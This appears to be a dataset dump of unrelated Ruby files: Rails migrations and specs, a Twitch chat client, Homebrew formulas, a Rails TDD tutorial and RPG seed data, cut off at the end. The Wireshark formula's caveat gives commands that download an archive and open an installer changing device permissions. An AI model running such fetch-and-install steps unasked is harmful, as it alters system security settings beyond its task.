text
stringlengths
10
2.61M
def pad!(array, min_size, value = nil) #destructive if array.count >= min_size return array else (min_size - array.count).times do array << value end return array end end def pad(array, min_size, value = nil) #non-destructive new_array = Array.new(array) (min_size - array.count).times do new_array << value end return new_array end
class CreateCartedDrinks < ActiveRecord::Migration[5.0] def change create_table :carted_drinks do |t| t.integer :order_id t.integer :user_id t.integer :drink_id t.integer :quantity t.timestamps end end end
class EventUpdaterForm include ActiveModel::Model attr_accessor :title, :description, :owner, :event_id, :event_date, :event_time, :street, :city, :province, :zip validates :title, :description, :owner, :event_id, presence: true validate :title_uniqueness_for_owner validate :event_belongs_to_owner def save return false unless valid? event.update!(title: title, description: description, event_date: event_date, event_time: event_time) event.address.present? ? event.address.update!(city: city, street: street, province: province, zip: zip) : Address.create!(city: city, street: street, province: province, zip: zip, addressable: event) true rescue => e errors.add(:base, "Something went wrong - #{e.inspect}") #powyzej mozna uzyc Rollbar lub BugSnag false end def address @address ||= event.address end def event @event ||= Event.find(event_id) end private def title_uniqueness_for_owner return unless Event.where("owner_id = ? AND id != ?", owner.id, event.id).pluck(:title).map(&:downcase).include?(title.downcase) errors.add(:base, "You have already created event with provided title") end def event_belongs_to_owner return if event.owner_id == owner.id errors.add(:base, "You are not owner of this event") end end
module ApplicationHelper def bootstrap_alert_type_for(flash_type) case flash_type when :success "success" when :error "danger" when :alert "warning" when :notice "info" else flash_type.to_s end end def flash_message(flash) return nil if flash.empty? flash.map do |type, message| { message: { text: message }, type: bootstrap_alert_type_for(type) } end end end
# Accepts an array, Sorts and returns the array def sort_array(arr) if arr.respond_to?(:sort) && arr.class == Array && arr.length > 0 sorted = arr.sort min = arr[0] max = arr[arr.length-1] all_numbers = (min..max).to_a return all_numbers - sorted elsif arr.length == 0 && arr.class == Array return [] else return "Please provide an array as an input" end end
# frozen_string_literal: true require 'rails_helper' RSpec.describe Project, type: :model do subject { build(:project) } it { is_expected.to respond_to :name } it { is_expected.to respond_to :description } it { is_expected.to respond_to :creator_id } it { is_expected.to be_valid } it { is_expected.to have_many(:boards) } it { is_expected.to belong_to(:creator) } it { is_expected.to validate_presence_of(:name) } it { is_expected.to validate_presence_of(:creator_id) } it { is_expected.to validate_length_of(:name).is_at_most(150) } it { is_expected.to validate_length_of(:description).is_at_most(1000) } end
require 'statement' require 'bigdecimal' describe Statement do let(:statement_class) { described_class } let(:credit_transaction) { double :transaction, amount: BigDecimal('20'), date: Date.today } let(:debit_transaction) { double :transaction, amount:BigDecimal('-20'), date: Date.today } let(:transactions) do [ { transaction: credit_transaction, balance: BigDecimal('50') }, { transaction: debit_transaction, balance: BigDecimal('50') } ] end let(:transaction_history) do double :transaction_history, list_transactions: transactions end describe 'Self#prepare' do it 'adds the table headers' do header = statement_class::TABLE_HEADER expect(statement_class.prepare(transaction_history)).to include(header) end it 'formats the date properly' do date = Date.today.strftime('%d/%m/%Y') expect(statement_class.prepare(transaction_history)).to include(date) end it 'adds two bars for negative amount' do date = Date.today.strftime('%d/%m/%Y') debit = "#{date} || || 20.00 || 50.00" expect(statement_class.prepare(transaction_history)).to include(debit) end it 'adds two bars after amount if positive' do date = Date.today.strftime('%d/%m/%Y') credit = "#{date} || 20.00 || || 50.00" expect(statement_class.prepare(transaction_history)).to include(credit) end end end
require 'spec_helper' feature "creating a group", :type => :feature do scenario "allows a user to create a group, add members and add an expense" do group_name = "A New Group" visit('/groups/new') fill_in 'Name', :with => group_name click_button 'Create group' expect(page).to have_content(group_name) expect(page).to have_content("This group doesn't have any members yet.") fill_in 'Name', :with => 'Bob' click_button 'Add member' expect(page).to have_no_content("This group doesn't have any members yet.") expect(page).to have_content("Bob added!") click_button 'Done' expect(page).to have_content("Don't forget your url! It's the only way to access your group.") expect(page).to have_content("The group must contain 2 or more members to add transactions") click_link "add members" fill_in 'Name', :with => 'Alice' click_button 'Add member' expect(page).to have_content("Alice added!") click_button 'Done' expect(page).to have_content(group_name) expect(page).to have_content("Bob") expect(page).to have_content("Alice") fill_in 'Description', :with => 'Rent' fill_in 'transaction_amount', :with => '1000' fill_in 'transaction-amount-0', :with => '600' fill_in 'transaction-amount-1', :with => '400' click_button 'Add transaction' expect(page).to have_content("Bob: $400.00") expect(page).to have_content("Alice: -$400.00") expect(page).to have_content("Alice pays Bob $400.00") end end feature "error message" do scenario "shows a message for an invalid group" do visit('/groups/new') click_button 'Create group' expect(page).to have_content("Bad group name") end end
module Enumerable def my_each i=0 while i < self.size yield(self[i]) i += 1 end self end def my_each_with_index i = 0 while i < self.size yield(self[i], i) i += 1 end self end def my_select return self unless block_given? select = [] self.my_each {|x| select << x if yield(x)} select end def my_all? self.my_each {|x| return false unless yield(x)} true end def my_any? self.my_each {|x| return true if yield(x)} false end def my_none? self.my_each {|x| return false if yield(x)} true end def my_count array = [] self.my_each {|x| array << x if yield(x)} array.length end def my_map new_array = [] self.my_each {|x| new_array << yield(x) } new_array end def my_inject(acc=nil) arr = acc.nil? ? self[1...size] : self acc ||= self[0] arr.my_each { |x,i| acc = yield(acc,x) } acc end def multiply_els self.my_inject { |x,y| x*y } end end #[10,14,18,7,20].my_all?{|x| x > 5} #[10,14,18,7,20].my_each{|x| puts x} puts [10,14,18,7,20].my_inject{|x, n| x + n}
class RemoveBilirubinFromClinicalBloodRecords < ActiveRecord::Migration def change remove_column :clinical_blood_records, :bilirubin, :text end end
Puppet::Type.newtype(:glusterfs_pool) do desc 'Native type for managing glusterfs pools' ensurable do defaultto(:present) newvalue(:present) do provider.create end newvalue(:absent) do provider.destroy end end newparam(:peer, :namevar=>true) do desc 'Trusted server peer' newvalues(/^\S+$/) end end
require 'rails_helper' # Specs in this file have access to a helper object that includes # the SessionsHelper. For example: # # describe SessionsHelper do # describe "string concat" do # it "concats two strings with spaces" do # expect(helper.concat_strings("this","that")).to eq("this that") # end # end # end RSpec.describe SessionsHelper, :type => :helper do before :each do @user = User.find_by(email: "bijalpatel@hotmail.com") remember(@user) end it "current_user returns the correct user when session is nil" do expect(@user).to eq(current_user) assert is_logged_in? end it "current_user returns nil when remember digest is wrong" do @user.update_attribute(:remember_digest, User.digest(User.new_token)) assert_nil current_user end end
require 'knife-pkg' include Knife::Pkg describe 'Package' do describe '#new' do it 'should create an instance of Package' do p = Package.new('test') expect(p).to be_an_instance_of Package expect(p.version).to eq('0.0') expect(p.name).to eq('test') end end describe '#version_to_s' do it 'should return the version' do p = Package.new('', '0.0.1') expect(p.version_to_s).to eq('(0.0.1)') end it 'should return an empty string if version is not defined' do p = Package.new('') expect(p.version_to_s).to eq('') end end describe '#to_s' do it 'should return package name with version' do p = Package.new('test','0.0.1') expect(p.to_s).to eq('test (0.0.1)') end it 'should return package without version' do p = Package.new('test') expect(p.to_s).to eq('test') end end end
class AddManufacturerToPowerOrders < ActiveRecord::Migration[4.2] def change add_column :power_orders, :manufacturer, :string, null: false, default: 'No Data' add_column :power_orders, :model, :string, null: false, default: 'No Data' end end
module Result class VarResult < ::Result::AbstractResult attr_reader :current, :previous def initialize(current, previous, source_entity) super(source_entity) @current = current.to_f @previous = previous.to_f end def notification_triggered? @current_delta ||= (((current - previous) * 100) / previous) .round(2) source_entity.delta_value < @current_delta end def save raise 'Is already saved' if @is_saved @is_saved = true ::Model::History::VarRecord.create( current: @current, previous: @previous, entity: @source_entity) end end end
module Twitch module Chat class Client MODERATOR_MESSAGES_COUNT = 100 USER_MESSAGES_COUNT = 20 TWITCH_PERIOD = 30.0 attr_accessor :host, :port, :nickname, :password, :connection attr_reader :channel, :callbacks def initialize(options = {}, &blk) options.symbolize_keys! options = { host: 'irc.chat.twitch.tv', port: '6667', output: STDOUT }.merge!(options) @logger = Logger.new(options[:output]) if options[:output] @host = options[:host] @port = options[:port] @nickname = options[:nickname] @password = options[:password] @channel = Twitch::Chat::Channel.new(options[:channel]) if options[:channel] @messages_queue = [] @connected = false @callbacks = {} check_attributes! if block_given? if blk.arity == 1 yield self else instance_eval(&blk) end end self.on(:new_moderator) do |user| @channel.add_moderator(user) end self.on(:remove_moderator) do |user| @channel.remove_moderator(user) end self.on(:ping) do send_data("PONG :tmi.twitch.tv") end end def connect @connection ||= EventMachine::connect(@host, @port, Connection, self) end def connected? @connected end def on(callback, &blk) (@callbacks[callback.to_sym] ||= []) << blk end def trigger(event_name, *args) (@callbacks[event_name.to_sym] || []).each { |blk| blk.call(*args) } end def run! EM.epoll EventMachine.run do trap("TERM") { EM::stop } trap("INT") { EM::stop } handle_message_queue connect end end def join(channel) @channel = Channel.new(channel) send_data "JOIN ##{@channel.name}" end def part send_data "PART ##{@channel.name}" @channel = nil @messages_queue = [] end def send_message(message) @messages_queue << message if @messages_queue.last != message end def ready @connected = true authenticate join(@channel.name) if @channel trigger(:connected) end def max_messages_count @channel.moderators.include?(@nickname) ? MODERATOR_MESSAGES_COUNT : USER_MESSAGES_COUNT end def message_delay TWITCH_PERIOD / max_messages_count end private def handle_message_queue EM.add_timer(message_delay) do if message = @messages_queue.pop send_data "PRIVMSG ##{@channel.name} :#{message}" @logger.debug("Sent message: PRIVMSG ##{@channel.name} :#{message}") end handle_message_queue end end def unbind(arg = nil) part if @channel trigger(:disconnect) end def receive_data(data) data.split(/\r?\n/).each do |message| @logger.debug(message) Twitch::Chat::Message.new(message).tap do |message| trigger(:raw, message) case message.type when :ping trigger(:ping) when :message trigger(:message, message.user, message.message) if message.target == @channel.name when :mode trigger(:mode, *message.params.last(2)) if message.params[1] == '+o' trigger(:new_moderator, message.params.last) elsif message.params[1] == '-o' trigger(:remove_moderator, message.params.last) end when :slow_mode, :r9k_mode, :subscribers_mode, :slow_mode_off, :r9k_mode_off, :subscribers_mode_off trigger(message.type) when :subscribe trigger(:subscribe, message.params.last.split(' ').first) when :not_supported trigger(:not_supported, *message.params) end end end end def send_data(message) return false unless connected? message = message + "\n" connection.send_data(message) end def check_attributes! [:host, :port, :nickname, :password].each do |attribute| raise ArgumentError.new("#{attribute.capitalize} is not defined") if send(attribute).nil? end nil end def authenticate send_data "PASS #{password}" send_data "NICK #{nickname}" # send_data "TWITCHCLIENT 3" end end end end
require 'thor' module Xcadaptor class Adapt < Thor include Thor::Actions desc "ios [version] [--category]" , "adapt xcode project to the verison ios" long_desc <<-LONGDESC adapt xcode project to the verison ios ios [version] [--category] version : ios version. eg: 9.0 options: --category : category task, eg: 'bitcode' , 'ssl' LONGDESC option :category ,:type => :array , :banner => "adapt category , in ios 9 eg: 'bitcode' 'ssl'" ,:aliases => :c def ios(version) sub_command_file_path = File.expand_path "#{File.dirname(__FILE__)}/Adapt/IOS/#{version}" begin if require_all(sub_command_file_path) function_types = options[:category] if function_types #excute specified cateoty update function_types.each do |function_type| if File.exist? "#{sub_command_file_path}/#{function_type}.rb" run_category function_type , version else puts "#{function_type} not found\n" end end else #excute all category update Dir.glob("#{sub_command_file_path}/*.rb").each do |f_path| pn = Pathname.new f_path file_name = pn.basename(".*").to_s run_category file_name , version end end else puts "ios version not found." end rescue => e puts e end end private # require all file at path directory def require_all(path) begin Dir.glob("#{path}/*.rb").each do |f_path| require f_path end rescue => e puts e return false end return true; end # run category task def run_category(category_name,ios_version) class_name = "Xcadaptor::AdaptModule::IOS#{ios_version.to_i}Module::#{category_name.capitalize}" clazz = class_name.split('::').inject(Object) {|o,c| o.const_get c} clazz.run end end end
# frozen_string_literal: true class Item < ApplicationRecord belongs_to :product belongs_to :cart validates :quantity, numericality: { greater_than_or_equal_to: 0 } end
require 'formula' class Wireshark <Formula url 'http://media-2.cacetech.com/wireshark/src/wireshark-1.4.3.tar.bz2' md5 'ac3dcc8c128c38d9ef3d9c93d1dec83e' homepage 'http://www.wireshark.org' depends_on 'gnutls' => :optional depends_on 'pcre' => :optional depends_on 'glib' depends_on 'gtk+' if ARGV.include? "--with-x" def options [["--with-x", "Include X11 support"]] end def caveats "If your list of available capture interfaces is empty (behavior on default OS X installation), try the following commands: wget https://bugs.wireshark.org/bugzilla/attachment.cgi?id=3373 -O ChmodBPF.tar.gz tar zxvf ChmodBPF.tar.gz open ChmodBPF/Install\\ ChmodBPF.app This adds a launch daemon that changes the permissions of your BPF devices so that all users in the 'admin' group - all users with 'Allow user to administer this computer' turned on - have both read and write access to those devices. See bug report: https://bugs.wireshark.org/bugzilla/show_bug.cgi?id=3760" end def install args = ["--disable-dependency-tracking", "--prefix=#{prefix}"] # actually just disables the GTK GUI args << "--disable-wireshark" if not ARGV.include? "--with-x" system "./configure", *args system "make" ENV.j1 # Install failed otherwise. system "make install" end end
class FontRubikMoonrocks < Formula head "https://github.com/google/fonts/raw/main/ofl/rubikmoonrocks/RubikMoonrocks-Regular.ttf", verified: "github.com/google/fonts/" desc "Rubik Moonrocks" homepage "https://fonts.google.com/specimen/Rubik+Moonrocks" def install (share/"fonts").install "RubikMoonrocks-Regular.ttf" end test do end end
require 'spec_helper' describe "conferences/edit" do before(:each) do @league = FactoryGirl.create(:league) @conference = assign(:conference, stub_model(Conference, :name => "MyString", :league_id => @league.id )) end it "renders the edit conference form" do render # Run the generator again with the --webrat flag if you want to use webrat matchers assert_select "form", :action => conferences_path(@conference), :method => "post" do assert_select "input#conference_name", :name => "conference[name]" assert_select "select#conference_league_id", :name => "conference[league_id]" do assert_select "option[selected]" end end rendered.should have_selector('#commit') end end
~~~console bundle exec rails g model sports name:string ~~~ ~~~console invoke active_record create db/migrate/20120815201524_create_sports.rb create app/models/sport.rb invoke rspec create spec/models/sport_spec.rb invoke factory_girl create spec/factories/sports.rb ~~~ ~~~console bundle exec rake db:migrate ~~~ ~~~console == CreateSports: migrating =================================================== -- create_table(:sports) -> 0.0009s == CreateSports: migrated (0.0010s) ========================================== ~~~ ~~~ruby # spec/models/sport_spec.rb require 'spec_helper' describe Sport do let(:sport) { Sport.new(:name => 'Sport name') } it 'should not be valid if the name is nil' do sport.name = nil sport.should_not be_valid sport.errors.to_a.should include("Name can't be blank") end end ~~~ ~~~console bundle exec rake spec ~~~ ~~~console 1) Sport should not be valid if the name is nil Failure/Error: sport.should_not be_valid expected valid? to return false, got true # ./spec/models/sport_spec.rb:11:in `block (2 levels) in <top (required)>' ~~~ ~~~ruby class Sport < ActiveRecord::Base attr_accessible :name validates :name, :presence => true end ~~~ ~~~console bundle exec rake spec => GREEN ~~~ ~~~ruby # db/seeds.rb # This file should contain all the record creation needed to seed the database with its default values. # The data can then be loaded with the rake db:seed (or created alongside the db with db:setup). # # Examples: # # cities = City.create([{ name: 'Chicago' }, { name: 'Copenhagen' }]) # Mayor.create(name: 'Emanuel', city: cities.first) ['Tennis', 'Badminton', 'Golf', 'Squash', 'Pingpong'].each do | name | Sport.create!(:name => name) if Sport.find_by_name(name).blank? end ~~~ ~~~console bundle exec rake db:seed ~~~ ~~~console bundle exec rails g migration CreateSportsUsersJoinTable user_id:integer sport_id:integer ~~~ ~~~console invoke active_record create db/migrate/20120816150136_create_sports_users_join_table.rb ~~~ ~~~ruby # db/migrate/20120816150136_create_sports_users_join_table.rb class CreateSportsUsersJoinTable < ActiveRecord::Migration def change create_table :sports_users, :id => false do |t| t.integer :user_id t.integer :sport_id end add_index :sports_users, [:user_id, :sport_id] end end ~~~ ~~~console bundle exec rake db:migrate ~~~ ~~~console == CreateSportsUsersJoinTable: migrating ===================================== -- create_table(:sports_users, {:id=>false}) -> 0.0063s -- add_index(:sports_users, [:user_id, :sport_id]) -> 0.0005s == CreateSportsUsersJoinTable: migrated (0.0064s) ============================ ~~~ ~~~ruby class User < ActiveRecord::Base # Include default devise modules. Others available are: # :token_authenticatable, :confirmable, # :lockable, :timeoutable and :omniauthable devise :database_authenticatable, :registerable, :recoverable, :rememberable, :trackable, :validatable # Setup accessible (or protected) attributes for your model attr_accessible :email, :password, :password_confirmation, :remember_me # attr_accessible :title, :body has_and_belongs_to_many :sports end ~~~ ~~~ruby class Sport < ActiveRecord::Base attr_accessible :name has_and_belongs_to_many :users validates :name, :presence => true end ~~~ ~~~console bundle exec rake spec => GREEN ~~~ ~~~console bundle exec rails g controller sports index edit ~~~ ~~~console create app/controllers/sports_controller.rb route get "sports/new" route get "sports/index" invoke erb create app/views/sports create app/views/sports/index.html.erb create app/views/sports/new.html.erb invoke rspec create spec/controllers/sports_controller_spec.rb create spec/views/sports create spec/views/sports/index.html.erb_spec.rb create spec/views/sports/new.html.erb_spec.rb invoke helper create app/helpers/sports_helper.rb invoke rspec create spec/helpers/sports_helper_spec.rb invoke assets invoke coffee create app/assets/javascripts/sports.js.coffee invoke scss create app/assets/stylesheets/sports.css.scss ~~~ ~~~ruby # config/routes.rb Smudger::Application.routes.draw do resources :sports, :only => [:index, :new, :create, :destory] devise_for :users resources :dashboard, :only => [:index] get "home/index" end ~~~ ~~~console rm spec/controllers/sports_controller_spec.rb rm spec/helpers/sports_helper_spec.rb rm -rf spec/views/sports ~~~ ~~~ruby # spec/integration/sports/authentication_spec.rb require 'spec_helper' describe 'only registred users can access sports' do it 'should require users to sign in when they trying to access sports' do user = FactoryGirl.create(:user) visit sports_path page.current_path.should == new_user_session_path fill_in('Email', :with => user.email) fill_in('Password', :with => user.password) click_button('Sign in') page.current_path.should == sports_path end end ~~~ ~~~console bundle exec rake spec ~~~ ~~~console Failures: 1) only registred users can access sports should require users to sign in when they trying to access sports Failure/Error: page.current_path.should == new_user_session_path expected: "/users/sign_in" got: "/sports" (using ==) # ./spec/integration/sports/authentication_spec.rb:10:in `block (2 levels) in <top (required)>' ~~~ ~~~ruby # app/controllers/sports_controller.rb class SportsController < ApplicationController before_filter :authenticate_user! def index end def new end end ~~~ ~~~console bundle exec rake spec => GREEN ~~~ ~~~ruby # spec/integration/sports/restful_spec.rb require 'spec_helper' describe 'restful' do let(:user) { FactoryGirl.create(:user) } before :each do smudger_sign_in(user) end describe 'showing all sports' do it "should show only user's sports" do user.sports << FactoryGirl.create(:sport, :name => 'Tennis') FactoryGirl.create(:user).sports << FactoryGirl.create(:sport, :name => 'Football') visit sports_path page.should have_content('Tennis') page.should_not have_content('Football') end end end ~~ ~~~console bundle exec rake spec ~~~ ~~~console 1) restful showing all sports should show only user's sports Failure/Error: page.should have_content('Tennis') expected there to be content "Tennis" in "Smudger\n\n \n \n \n \n \n \n \n \n Smudger\n \n Dashboard\n Sports\n Connections\n Invites\n Sign Out\n \n \n \n \n\n \n \n \n \n Listing sports\n\nName\n \n \n New Sport\n\n \n \n \n\n © Company 2012\n \n\n \n \n " # ./spec/integration/sports/restful_spec.rb:17:in `block (3 levels) in <top (required)>' ~~~ ~~~ruby # app/controllers/sports_controller.rb class SportsController < ApplicationController before_filter :authenticate_user! def index @sports = current_user.sports end def new end end ~~~ ~~~ruby # app/views/sports/index.html.erb <h1>Listing sports</h1> <table class='table'> <thead> <tr> <th>Name</th> </tr> </thead> <tbody> <% @sports.each do |sport| %> <tr> <td><%= sport.name %></td> </tr> <% end %> </tbody> </table> <br /> ~~~ ~~~console bundle exec rake spec => GREEN ~~~ ~~~ruby # spec/integration/sports/restful_spec.rb require 'spec_helper' describe 'restful' do let(:user) { FactoryGirl.create(:user) } before :each do smudger_sign_in(user) end describe 'showing all sports' do it "should show only user's sports" do user.sports << FactoryGirl.create(:sport, :name => 'Tennis') FactoryGirl.create(:user).sports << FactoryGirl.create(:sport, :name => 'Football') visit sports_path page.should have_content('Tennis') page.should_not have_content('Football') end end describe 'adding new sport' do it 'should be able add new sport' do FactoryGirl.create(:sport, :name => 'Tennis') FactoryGirl.create(:sport, :name => 'Pinpong') visit sports_path click_link('New Sport') select('Tennis', :from => 'Select Sport') click_button('Create Sport') page.current_path.should == sports_path page.should have_content('Tennis') end end end ~~~ ~~~console bundle exec rake spec ~~~ ~~~console Failures: 1) restful adding new sport should be able add new sport Failure/Error: select('Tennis', :from => 'Select Sport') Capybara::ElementNotFound: cannot select option, no select box with id, name, or label 'Select Sport' found # (eval):2:in `select' # ./spec/integration/sports/restful_spec.rb:34:in `block (3 levels) in <top (required)>' ~~~ ~~~ruby # app/controllers/sports_controller.rb class SportsController < ApplicationController before_filter :authenticate_user! def index @sports = current_user.sports end def new @availabile_sports = Sport.all.collect { |s| [s.name, s.id]} end end ~~~ ~~~ruby # app/views/sports/new.html.erb <%= form_tag sports_path, :class => 'form-horizontal' do %> <div class="control-group"> <%= label_tag :sport, 'Select Sport', :class => 'control-label' %> <div class='controls'> <%= select_tag :sport, options_from_collection_for_select(@availabile_sports, :id, :name), :class => 'input-xlarge' %> </div> </div> <div class="form-actions"> <%= submit_tag 'Create Sport', :class => 'btn btn-primary' %> <%= link_to 'Back', sports_path, :class => 'btn' %> </div> <% end %> ~~~ ~~~console bundle exec rake spec ~~~ ~~~console 2) restful adding new sport should be able add new sport Failure/Error: click_button('Create Sport') AbstractController::ActionNotFound: The action 'create' could not be found for SportsController # (eval):2:in `click_button' # ./spec/integration/sports/restful_spec.rb:36:in `block (3 levels) in <top (required)>' ~~~ ~~~ruby # app/controllers/sports_controller.rb class SportsController < ApplicationController before_filter :authenticate_user! def index @sports = current_user.sports end def edit @sports_list = Sport.all end def update @sport = Sport.find(params[:sport]) if @sport && current_user.sports << @sport redirect_to sports_path notice: 'Sport was successfully added.' else render action: "edit" end end end ~~~ ~~~console bundle exec rake spec => GREEN ~~~ ~~~ruby # spec/integration/sports/restful_spec.rb require 'spec_helper' describe 'restful' do let(:user) { FactoryGirl.create(:user) } before :each do smudger_sign_in(user) end describe 'showing all sports' do it "should show only user's sports" do user.sports << FactoryGirl.create(:sport, :name => 'Tennis') FactoryGirl.create(:user).sports << FactoryGirl.create(:sport, :name => 'Football') visit sports_path page.should have_content('Tennis') page.should_not have_content('Football') end end describe 'adding new sport' do it 'should be able add new sport' do FactoryGirl.create(:sport, :name => 'Tennis') FactoryGirl.create(:sport, :name => 'Pinpong') visit sports_path click_link('New Sport') select('Tennis', :from => 'Select Sport') click_button('Create Sport') page.current_path.should == sports_path page.should have_content('Tennis') end end describe 'destroing sport' do it 'sould be able destroy the sport' do user.sports << FactoryGirl.create(:sport, :name => 'Tennis') visit sports_path page.should have_content('Tennis') click_link('Destroy') page.current_path.should == sports_path page.should_not have_content('Tennis') end end end ~~~ ~~~console bundle exec rake spec ~~~ ~~~console Failures: 1) restful destroing sport sould be able destroy the sport Failure/Error: click_link('Destroy') AbstractController::ActionNotFound: The action 'destroy' could not be found for SportsController # (eval):2:in `click_link' # ./spec/integration/sports/restful_spec.rb:54:in `block (3 levels) in <top (required)>' ~~~ ~~~ruby # app/controllers/sports_controller.rb class SportsController < ApplicationController before_filter :authenticate_user! def index @sports = current_user.sports end def edit @availabile_sports = Sport.all end def update @sport = Sport.find(params[:user][:sports]) if @sport && current_user.sports << @sport redirect_to sports_path notice: 'Sport was successfully added.' else render action: "edit" end end def destroy current_user.sports.delete(Sport.find(params[:id])) redirect_to sports_path end end ~~~ ~~~console bundle exec rake spec => GREEN ~~~ ~~~ruby # spec/integration/sports/restful_spec.rb require 'spec_helper' describe 'restful' do # ... describe 'adding new sport' do # ... it 'should not show already coosen sports in list' do pinpong = FactoryGirl.create(:sport, :name => 'Pinpong') tennis = FactoryGirl.create(:sport, :name => 'Tennis') user.sports << tennis visit sports_path click_link('New Sport') page.should have_xpath "//select[@id = 'sport']/option[contains(text(), 'Pinpong')]" page.should_not have_xpath "//select[@id = 'sport']/option[contains(text(), 'Tennis')]" end end # ... end ~~~ ~~~console bundle exec rake spec ~~~ ~~~console Failures: 1) restful adding new sport should not show already coosen sports in list Failure/Error: page.should_not have_xpath "//select[@id = 'sport']/option[contains(text(), 'Tennis')]" expected xpath "//select[@id = 'sport']/option[contains(text(), 'Tennis')]" not to return anything # ./spec/integration/sports/restful_spec.rb:55:in `block (3 levels) in <top (required)>' ~~~ ~~~ruby # app/controllers/sports_controller.rb class SportsController < ApplicationController before_filter :authenticate_user! def index @sports = current_user.sports end def edit @availabile_sports = (Sport.all - current_user.sports) end def update @sport = Sport.find(params[:sport]) if @sport && current_user.sports << @sport redirect_to sports_path notice: 'Sport was successfully added.' else render action: "edit" end end def destroy current_user.sports.delete(Sport.find(params[:id])) redirect_to sports_path end end ~~~ ~~~console bundle exec rake spec => GREEN ~~~
require 'spec_helper' require 'support/integrations_tools' RSpec.describe "Request a ggroup delete", type: :integration do let(:before_start_proc) {Proc.new{LogMessageHandler.listen_to 'reply.mailinglist.delete'}} let(:message) {GorgService::Message.new(event:'request.mailinglist.delete', data: payload, reply_to: Application.config['rabbitmq_event_exchange_name'], soa_version: "2.0" )} let(:ggroup_name) {Faker::Company.name} let(:ggroup_email) {"#{Faker::Internet.user_name(ggroup_name)}@poubs.org"} let(:ggroup_description) {Faker::Company.bs} context "Existing google Group" do before(:each) do @gg=GGroup.new({ email: ggroup_email, name: ggroup_name, description: ggroup_description }).save end let(:payload){ { "mailling_list_key" => ggroup_email } } it "delete group" do GorgService::Producer.new.publish_message(message) sleep(15) expect(GGroup.find(@gg.email)).to be_nil end end end
class AddCopiedMessageIdToMessages < ActiveRecord::Migration def change add_column :messages, :copied_message_id, :integer end end
module Dateable def difference_in_months(start_date, end_date) start_date, end_date = end_date, start_date if start_date > end_date no_of_months = (end_date.year - start_date.year) * 12 + end_date.month - start_date.month - one_day_if_needed(end_date, start_date) no_of_months + half_month(start_date, end_date, no_of_months) end # no of days in the last month divided by no of extra days should be more or equal to 0.5 # eg. 15/07 - 31/08 = 1 month and 16 days; 16/31 = 0.52 - this means 1.5 months def half_month(start_date, end_date, no_of_months) last_month = (start_date + no_of_months.months) no_of_extra_days = end_date - last_month no_of_extra_days / end_date.end_of_month.day.to_f >= 0.5 ? 0.5 : 0 end def one_day_if_needed(end_date, start_date) return 0 if end_date.month != end_date.next_day.month && start_date.month != start_date.next_day.month (end_date.day >= start_date.day ? 0 : 1) end end
# This file should contain all the record creation needed to seed the database with its default values. # The data can then be loaded with the rake db:seed (or created alongside the db with db:setup). # # Examples: # # cities = City.create([{ name: 'Chicago' }, { name: 'Copenhagen' }]) # Mayor.create(name: 'Emanuel', city: cities.first) # Environment variables (ENV['...']) can be set in the file config/application.yml. # See http://railsapps.github.io/rails-environment-variables.html # skill_groups = [ { name: "Attributes Physical", id: 1 }, { name: "Attributes Mental", id: 2 }, { name: "Attributes Social", id: 3 }, { name: "Skills Physical", id: 4 }, { name: "Skills Mental", id: 5 }, { name: "Skills Social", id: 6 }, { name: "Merits Physical", id: 7 }, { name: "Merits Mental", id: 8 }, { name: "Merits Social", id: 9 }, { name: "Vitalidade", id: 10 }, { name: "Força de Vontade", id: 11 }, { name: "Moralidade", id: 12 }, { name: "Supernatural Power", id: 13 }, { name: "Supernatural Fuel", id: 14 } ] skill_groups.each do |s| SkillGroup.create(s) end skills = [ { name: "Inteligência", skill_group_id: 1 } , { name: "Raciocínio", skill_group_id: 1 } , { name: "Perseverança", skill_group_id: 1 } , { name: "Força", skill_group_id: 2 } , { name: "Destreza", skill_group_id: 2 } , { name: "Vigor", skill_group_id: 2 } , { name: "Presença", skill_group_id: 3 } , { name: "Manipulação", skill_group_id: 3 } , { name: "Autocontrole", skill_group_id: 3 } , { name: "Ciências", skill_group_id: 4 } , { name: "Erudição", skill_group_id: 4 } , { name: "Informática", skill_group_id: 4 } , { name: "Investigação", skill_group_id: 4 } , { name: "Medicina", skill_group_id: 4 } , { name: "Ocultismo", skill_group_id: 4 } , { name: "Ofícios", skill_group_id: 4 } , { name: "Política", skill_group_id: 4 } , { name: "Armamento", skill_group_id: 5 } , { name: "Armas de Fogo", skill_group_id: 5 } , { name: "Briga", skill_group_id: 5 } , { name: "Condução", skill_group_id: 5 } , { name: "Dissimulação", skill_group_id: 5 } , { name: "Esportes", skill_group_id: 5 } , { name: "Furto", skill_group_id: 5 } , { name: "Sobrevivência", skill_group_id: 5 } , { name: "Astúcia", skill_group_id: 6 } , { name: "Empatia", skill_group_id: 6 }, { name: "Expressão", skill_group_id: 6 } , { name: "Intimidação", skill_group_id: 6 } , { name: "Manha", skill_group_id: 6 } , { name: "Persuasão", skill_group_id: 6 } , { name: "Socialização", skill_group_id: 6 } , { name: "Trato com Animais", skill_group_id: 6 } , { name: "Ambidestria", skill_group_id: 7 }, { name: "Conhecimento Enciclopédico", skill_group_id: 7 }, { name: "Consciência Holística", skill_group_id: 7 }, { name: "Idiomas", skill_group_id: 7 }, { name: "Memória Eidética", skill_group_id: 7 }, { name: "Mente Meditativa", skill_group_id: 7 }, { name: "Senso do Perigo", skill_group_id: 7 }, { name: "Sexto Sentido", skill_group_id: 7 }, { name: "Ás do Volante", skill_group_id: 8 }, { name: "Costas Fortes", skill_group_id: 8 }, { name: "Desarme", skill_group_id: 8 }, { name: "Esquiva [Armamento]", skill_group_id: 8 }, { name: "Esquiva [Briga]", skill_group_id: 8 }, { name: "Estilo de Luta", skill_group_id: 8 }, { name: "Estômago de Avestruz", skill_group_id: 8 }, { name: "Gigante", skill_group_id: 8 }, { name: "Imunidade Natural", skill_group_id: 8 }, { name: "Ligeiro", skill_group_id: 8 }, { name: "Pistoleiro", skill_group_id: 8 }, { name: "Pulmões Fortes", skill_group_id: 8 }, { name: "Recuperação Rápida", skill_group_id: 8 }, { name: "Refinamento em Combate", skill_group_id: 8 }, { name: "Refléxos Rápidos", skill_group_id: 8 }, { name: "Resistência a Toxinas", skill_group_id: 8 }, { name: "Resistência Férrea", skill_group_id: 8 }, { name: "Saque Rápido", skill_group_id: 8 }, { name: "Segunda Chance", skill_group_id: 8 }, { name: "Senso de Direção", skill_group_id: 8 }, { name: "Aliados", skill_group_id: 9 }, { name: "Aparência Surpreendente", skill_group_id: 9 }, { name: "Contatos", skill_group_id: 9 }, { name: "Fama", skill_group_id: 9 }, { name: "Fonte de Inspiração", skill_group_id: 9 }, { name: "Habitué", skill_group_id: 9 }, { name: "Mentor", skill_group_id: 9 }, { name: "Recursos", 